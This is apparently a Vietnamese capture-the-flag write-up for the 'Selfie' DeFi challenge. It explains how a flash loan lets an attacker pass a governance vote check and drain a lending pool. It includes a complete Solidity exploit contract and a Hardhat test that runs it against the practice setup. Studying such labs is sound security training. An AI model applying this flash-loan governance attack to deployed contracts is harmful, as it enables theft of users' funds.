Challenge #6 - Selfie
Nhiệm vụ: Lại có một pool nữa cho phép thực hiện flash loan với DVT token. Pool có một cơ chế quản trị trông rất cool. Trong pool có 1.5M token. Mục tiêu của ta là lấy hết đống token đó.
Phân tích
Pool được quản trị bởi contract SimpleGovernance
.
Để prosal một action, user sẽ phải có đủ vote thì mới có quyền tạo:
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
và điều kiện để đủ vote chính là lượng token governance của user phải quá bán của total supply
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
ta có ý tưởng vượt qua điều kiện này bằng cách vay flash loan một lượng lớn token trước khi propose action.
Contract governance còn một lỗ hổng nữa rất lớn, đấy chính là hạn chế action được thực hiện trên chính contract governance, nhưng lại không hạn chế thực hiện action trên pool, kể cả hàm rút tiền. Đúng lý ra hàm này phải được thiết kế riêng và chỉ những người có thẩm quyền mới được phép thực hiện.
require(receiver !=
address(this), "Cannot queue actions that affect Governance");
Các bước thực hiện:
- vay flashloan một lượng đủ lớn để tạo một action mới
- gọi
drainAllFunds
rút toàn bộ token từ pool ra.
Exploit
Chuẩn bị contract khai thác như sau:
contract RektSelfie {
SimpleGovernance public immutable gov;
SelfiePool public immutable pool;
constructor(address _gov, address _pool) {
gov = SimpleGovernance(_gov);
pool = SelfiePool(_pool);
}
function rekt() external {
pool.flashLoan(1500000 ether);
}
function receiveTokens(address tokenAddress, uint256 amount) external {
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(
tokenAddress
);
token.snapshot();
gov.queueAction(
address(pool),
abi.encodeWithSignature("drainAllFunds(address)", tx.origin),
0
);
token.transfer(address(pool), amount);
}
}
Mỗi action sẽ bị delay một khoảng thời gian nhất định trước khi chúng được thực sự thực hiện:
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
tuy nhiên điều này không ảnh hưởng gì lắm, ta chỉ cần chờ là được.
Tiến hành deloy và propose action, sau đó 2 ngày thì rút tiền:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const RektSelfie = await ethers.getContractFactory("RektSelfie", attacker);
this.rekt = await RektSelfie.deploy(
this.governance.address,
this.pool.address
);
await this.rekt.connect(attacker).rekt();
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
await this.governance.connect(attacker).executeAction(1);
});
Check lại kết quả
[Challenge] Selfie
✓ Exploit (256ms)
1 passing (3s)
All done!